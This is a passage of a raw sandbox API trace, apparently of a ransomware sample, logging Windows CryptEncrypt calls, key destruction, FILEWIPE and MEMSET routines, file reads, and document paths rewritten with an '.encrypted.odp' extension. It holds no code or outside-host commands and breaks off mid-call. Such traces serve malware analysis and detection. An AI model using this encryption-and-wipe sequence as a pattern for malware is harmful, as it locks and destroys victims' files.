[0025.359] CryptEncrypt (in: hKey=0xe8f4062aa0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x1447, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x1450) returned 1 [0025.360] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.360] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.360] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.360] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.360] CharLowerBuffW (in: lpsz="byte[5201]", cchLength=0xa | out: lpsz="byte[5201]") returned 0xa [0025.361] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.361] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.361] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.361] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.362] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.362] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0025.362] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0xe8f417ae40, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0025.362] GetProcAddress (hModule=0x7ffe2a590000, lpProcName="CryptEncrypt") returned 0x7ffe2a5cb720 [0025.362] CryptEncrypt (in: hKey=0xe8f4062aa0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f4190f50*, pdwDataLen=0xe8f3dfdf68*=0x1447, dwBufLen=0x1450 | out: pbData=0xe8f4190f50*, pdwDataLen=0xe8f3dfdf68*=0x1450) returned 1 [0025.363] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.363] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.363] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.363] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.363] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.363] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.363] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0025.363] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.364] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0025.364] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0025.364] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0025.364] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.364] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.364] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0025.364] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.364] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.364] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.364] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.364] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.364] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.365] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.365] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.365] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0025.365] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0025.365] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.365] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0025.365] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.365] CryptDestroyKey (hKey=0xe8f4062aa0) returned 1 [0025.365] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0025.365] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0025.365] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0025.365] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0025.366] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0025.366] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0025.366] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0025.366] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0025.366] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.366] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0025.366] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0025.366] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0025.366] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0025.366] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0025.366] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.366] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0025.366] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.366] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0025.366] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.366] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.366] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.366] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.366] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0025.367] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.367] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.367] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0025.367] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0025.367] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0025.367] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.367] CryptReleaseContext (hProv=0xe8f4199a20, dwFlags=0x0) returned 1 [0025.367] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.367] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.367] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0025.367] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.367] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.367] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.367] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.368] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.368] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.368] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0025.368] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.368] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.368] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.368] CharLowerBuffW (in: lpsz="byte[5191]", cchLength=0xa | out: lpsz="byte[5191]") returned 0xa [0025.368] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.368] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0025.368] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.368] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0025.368] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.368] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.368] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.368] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0025.368] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.368] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.368] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.368] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.368] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.369] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.369] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.369] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.369] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.369] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.369] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.369] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.369] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.369] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.369] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.369] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.369] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0025.370] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.370] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.370] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.370] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0025.370] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.370] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.370] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.370] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.370] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.370] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.370] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0025.370] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.370] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.370] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.370] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.370] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.371] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.371] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.372] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0025.372] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0025.372] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0025.372] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0025.372] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0025.372] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0025.372] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0025.372] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=5036) returned 1 [0025.372] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0025.372] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0025.372] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0025.372] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f6000080, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f6000080*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x13ac, lpOverlapped=0x0) returned 1 [0025.373] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f6000080, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f6000080*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0025.373] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x13ac, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0025.373] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=5036) returned 1 [0025.373] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\v2zRxHEjBQRq x60dFm7.encrypted.odp\r\n", cchWideChar=81, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 81 [0025.373] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\v2zRxHEjBQRq x60dFm7.encrypted.odp\r\n", 